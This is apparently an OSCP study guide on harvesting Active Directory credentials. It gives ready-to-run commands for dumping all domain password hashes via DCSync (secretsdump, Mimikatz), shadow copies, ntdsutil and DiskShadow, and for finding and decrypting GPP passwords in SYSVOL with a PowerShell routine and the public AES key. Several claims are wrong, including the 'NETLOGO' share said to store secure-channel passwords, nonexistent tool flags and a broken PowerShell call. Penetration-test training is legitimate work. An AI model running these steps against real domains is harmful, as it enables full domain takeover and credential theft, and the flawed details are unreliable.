AD Database and Shares
The NTDS.dit file and the SYSVOL/NETLOGO shares are the two most important data stores in Active Directory. They contain password hashes, credentials, policies, and scripts — making them primary targets for credential harvesting.
1. NTDS.dit
What is NTDS.dit?
NTDS.dit is the Active Directory database file. It is the “holy grail” of AD attacks because it contains everything: every user account, every password hash, every group membership, every trust relationship.
| Property | Detail |
|---|---|
| Full Name | NT Directory Services Database |
| Format | Extensible Storage Engine (ESE), also known as Jet Blue |
| Location | %SystemRoot%\NTDS\ntds.dit (typically C:\Windows\NTDS\ntds.dit) |
| Size | Varies — typically hundreds of MB to several GB |
| Access | Locked by the NTDS service while running. Cannot be copied directly. |
NTDS.dit Contents
| Data Type | Examples | Attack Relevance |
|---|---|---|
| User Accounts | NT hashes, LM hashes (if enabled), attributes, group membership | Primary target — crack hashes offline, pass-the-hash |
| Computer Accounts | Machine account passwords (NT hashes) | Use for Golden Ticket, Silver Ticket, or authentication as computer |
| Group Objects | Membership, scope, type, SID | Map privilege escalation paths |
| GPO Data | Links, versions, security settings | Identify GPO-based attack vectors |
| Trust Relationships | Trust passwords, trust direction, trust type | Cross-domain/forest attacks |
| Schema | Object class definitions, attribute definitions | Rarely useful for attacks |
| KRBTGT Account | The Kerberos key distribution center account hash | Golden Ticket — forge TGTs for any user |
Why NTDS.dit is the “Holy Grail”
Extracting NTDS.dit gives you every password hash in the domain. This means:
- You can crack hashes offline (no lockout risk)
- You can use Pass-the-Hash to authenticate as any user
- You can create Golden Tickets using the KRBTGT hash
- You effectively own the entire domain
2. Extracting NTDS.dit
There are four main methods to extract NTDS.dit. DCSync is the preferred method for OSCP because it is remote, clean, and does not require local admin on the DC.
Method 1: DCSync (PREFERRED for OSCP)
DCSync is NOT a physical extraction method. Instead, it impersonates a Domain Controller and requests replication of password data using the Directory Replication Service Remote Protocol (MS-DRSR).
How DCSync Works:
════════════════
1. Attacker connects to a DC as a user with replication privileges
2. Attacker requests replication of password data (specific objects)
3. The DC responds with the requested password hashes
4. Attacker receives the hashes without ever touching NTDS.dit
Required Privileges:
════════════════════
The attacker needs ONE of these extended rights:
├── Replicating Directory Changes
├── Replicating Directory Changes All
└── Replicating Directory Changes In Filtered Set
Who has these by default?
══════════════════════════
├── Domain Admins
├── Enterprise Admins
├── Administrators (built-in)
└── Can be delegated to other users/groups (common misconfiguration!)
DCSync Commands:
# Using Impacket secretsdump.py
# Dump all accounts
secretsdump.py -just-dc DOMAIN/admin:password@DC_IP
# Dump all accounts (no password, use hash)
secretsdump.py -just-dc -hashes :NT_HASH DOMAIN/admin@DC_IP
# Dump specific user only
secretsdump.py -just-dc-user krbtgt DOMAIN/admin:password@DC_IP
secretsdump.py -just-dc-user administrator DOMAIN/admin:password@DC_IP
# Using null session (if available)
secretsdump.py -just-dc -no-pass DOMAIN/DC_IP
# Using Mimikatz
# Dump all accounts
lsadump::dcsync /domain:DOMAIN /user:DOMAIN\krbtgt
lsadump::dcsync /domain:DOMAIN /user:DOMAIN\administrator
# Dump specific user
lsadump::dcsync /domain:corp.local /user:corp.local\krbtgt
Why DCSync is Preferred:
| Advantage | Explanation |
|---|---|
| Remote | No need for local admin on the DC |
| Clean | No files left on the DC, no shadow copies created |
| Selective | Can target specific accounts (e.g., just KRBTGT) |
| Fast | Much faster than physical extraction |
| Stealthy | Appears as normal replication traffic |
Method 2: Volume Shadow Copy
This method creates a shadow copy of the system volume, then copies NTDS.dit from the shadow copy.
# Step 1: Create a volume shadow copy
vssadmin create shadow /for=C:
# Step 2: Find the shadow copy path
vssadmin list shadows
# Step 3: Copy NTDS.dit from the shadow copy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\ntds.dit
# Step 4: Extract the SYSTEM hive (needed for decryption)
reg save HKLM\SYSTEM C:\temp\SYSTEM
# Step 5: Use secretsdump.py to parse the extracted files
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
Method 3: Ntdsutil
Built-in Windows tool for AD database management.
# On the DC (requires local admin)
ntdsutil
ntdsutil: ac i ntds
ntdsutil: ifm
ifm: create full C:\temp
ifm: q
ntdsutil: q
# This creates:
# C:\temp\ntds.dit
# C:\temp\EDB.log
# C:\temp\temp.log
Method 4: DiskShadow
Similar to VSS but scriptable.
# diskshadow script
diskshadow
diskshadow> set context persistent nowriters
diskshadow> add volume C: alias DC
diskshadow> create
diskshadow> expose %DC% Z:
diskshadow> exec "cmd /c copy Z:\Windows\NTDS\ntds.dit C:\temp\ntds.dit"
diskshadow> delete shadows all
Extraction Method Comparison
| Method | Requires Local Admin on DC? | Requires Replication Rights? | Remote? | OSCP Recommended? |
|---|---|---|---|---|
| DCSync | No | Yes (DA/EA) | Yes | YES — Primary method |
| Volume Shadow Copy | Yes | No | No | Fallback if no DA |
| Ntdsutil | Yes | No | No | Fallback if no DA |
| DiskShadow | Yes | No | No | Fallback if no DA |
3. SYSVOL Share
Overview
| Property | Detail |
|---|---|
| Path | \\DOMAIN\SYSVOL or \\DC\SYSVOL |
| Accessibility | Readable by all domain users (and often anonymous) |
| Replication | Replicated to all DCs via FRS (legacy) or DFS-R (modern) |
| Purpose | Stores Group Policy Objects and logon scripts |
SYSVOL Structure
\\DOMAIN\SYSVOL\
└── DOMAIN\
├── Policies\
│ └── {GPO-GUID}\
│ ├── Machine\
│ │ ├── Preferences\
│ │ │ ├── Groups\
│ │ │ │ └── Groups.xml ← cpassword, restricted groups
│ │ │ ├── ScheduledTasks\
│ │ │ │ └── ScheduledTasks.xml ← scheduled task credentials
│ │ │ ├── Drives\
│ │ │ │ └── Drives.xml ← drive map credentials
│ │ │ └── Services\
│ │ │ └── Services.xml ← service credentials
│ │ └── Registry.pol ← compiled policy settings
│ └── User\
│ └── Preferences\
│ └── (same structure as Machine)
└── Scripts\
└── logon.bat ← logon scripts (may contain creds)
SYSVOL Attack Vectors
| Attack Vector | Description | How to Exploit |
|---|---|---|
| GPP Passwords (cpassword) | Group Policy Preferences store passwords as AES-256 encrypted cpassword in XML files. The AES key is public and hardcoded. |
Search SYSVOL for cpassword in XML files, then decrypt |
| Credentials in Scripts | Logon scripts, batch files, and PowerShell scripts in SYSVOL may contain hardcoded credentials. | Read scripts in \\DOMAIN\SYSVOL\DOMAIN\Scripts\ |
| Restricted Groups | GPO restricted groups configuration can reveal privileged group memberships. | Read Groups.xml in GPO policy folders |
| Registry.pol Analysis | Compiled policy files may contain sensitive configuration data. | Parse with fgdump or GPOZaurr |
| GPO ACL Modification | If you have Write access to a GPO, you can modify its SYSVOL files. | Modify GPO XML files to add yourself to admin groups |
Finding GPP Passwords in SYSVOL
# Using CrackMapExec
crackmapexec smb DC_IP -u user -p password --gpp-passwords
crackmapexec smb DC_IP -u user -p password --gpp-autopwn
# Manual search
findstr /S /I cpassword \\DOMAIN\SYSVOL\DOMAIN\Policies\*.xml
# Using Impacket
secretsdump.py -just-dc -no-pass DOMAIN/DC_IP --gpp
# PowerShell search
Get-ChildItem \\DOMAIN\SYSVOL\DOMAIN\Policies\ -Recurse -Filter "*.xml" |
Select-String "cpassword" -List |
Select-Object Path, Line
4. NETLOGO Share
Overview
| Property | Detail |
|---|---|
| Path | \\DOMAIN\NETLOGO or \\DC\NETLOGO |
| Accessibility | More restricted than SYSVOL. Typically readable by domain computers and DCs. |
| Purpose | Stores secure channel passwords and LSA secrets for DC communication. |
| Contents | Password files for computer accounts, secure channel data. |
NETLOGO Attack Relevance
| Aspect | Detail |
|---|---|
| Secure Channel Data | Contains passwords used for secure channel authentication between computers and DCs. |
| Higher Privileges Needed | Unlike SYSVOL, NETLOGO is not readable by all domain users. |
| Computer Account Passwords | Can be used to authenticate as computer accounts. |
| Limited OSCP Relevance | Less commonly targeted than SYSVOL, but worth checking if you have elevated access. |
5. GPP Password Decryption (Quick Reference)
Group Policy Preferences (GPP) stored passwords using AES-256 encryption with a hardcoded, public key. This is a critical vulnerability that Microsoft could not fix without breaking backward compatibility.
The Public AES Key
4e9906e8fcb66cc9faf49310620ffee1f496e503f82be10823ef07f039689688
Example cpassword in XML
<Users clsid="{...}" changed="..." image="...">
<User clsid="{...}" name="BackupAdmin" changed="..."
uid="{...}">
<Properties action="C" changeLogon="1" noLogon="0"
password="4e9906e8fcb66cc9faf49310620ffee1f496e503f82be10823ef07f039689688"
newPassword="BackupAdmin" desc="..."/>
</User>
</Users>
Decryption Methods
# Using gpp-decrypt (Python)
python3 gpp-decrypt.py "encrypted_cpassword_value"
# Using CrackMapExec
crackmapexec smb DC_IP -u user -p pass --gpp-passwords
# Using Impacket
secretsdump.py --gpp DOMAIN/user:password@DC_IP
# Manual PowerShell decryption
function Get-GPPPassword {
$key = [Convert]::FromByteArray(@(
0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,
0xfa,0xf4,0x93,0x10,0x62,0x0f,0xee,0xe1,
0xf4,0x96,0xe5,0x03,0xf8,0x2b,0xe1,0x08,
0x23,0xef,0x07,0xf0,0x39,0x68,0x96,0x88
))
$ciphertext = [Convert]::FromBase64String("ENCRYPTED_VALUE")
# Pad to 16-byte boundary
$padding = 16 - ($ciphertext.Length % 16)
if ($padding -ne 16) {
$ciphertext = $ciphertext + ([byte[]]@(0) * $padding)
}
# AES-CBC with IV of all zeros
$aes = New-Object System.Security.Cryptography.AesCryptoServiceProvider
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::None
$aes.Key = $key
$aes.IV = ,[byte[]]@(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0)
$decryptor = $aes.CreateDecryptor()
$plain = $decryptor.TransformFinalBlock($ciphertext, 0, $ciphertext.Length)
[System.Text.Encoding]::Unicode.GetString($plain).TrimEnd([char]0)
}
OSCP Exam Checklist: AD Database and Shares
Must-Know Concepts
- NTDS.dit contains ALL password hashes in the domain
- NTDS.dit location:
C:\Windows\NTDS\ntds.dit - DCSync is the preferred extraction method (remote, no local admin needed)
- DCSync requires replication privileges (DA, EA, or delegated)
- SYSVOL is readable by all domain users
- SYSVOL contains GPOs, scripts, and GPP passwords
- GPP cpassword uses a public AES-256 key — always decrypt
- The GPP AES key:
4e9906e8fcb66cc9faf49310620ffee1f496e503f82be10823ef07f039689688 - NETLOGO contains secure channel data (higher privileges needed)
- Volume Shadow Copy, Ntdsutil, and DiskShadow require local admin on DC
Must-Remember Commands
# DCSync (primary method)
secretsdump.py -just-dc DOMAIN/admin:password@DC_IP
secretsdump.py -just-dc-user krbtgt DOMAIN/admin:password@DC_IP
# GPP password search
crackmapexec smb DC_IP -u user -p pass --gpp-passwords
# SYSVOL access
smbclient -L \\\\DC_IP -U%
smbclient \\\\DC_IP\SYSVOL -U%
# Parse extracted NTDS.dit
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL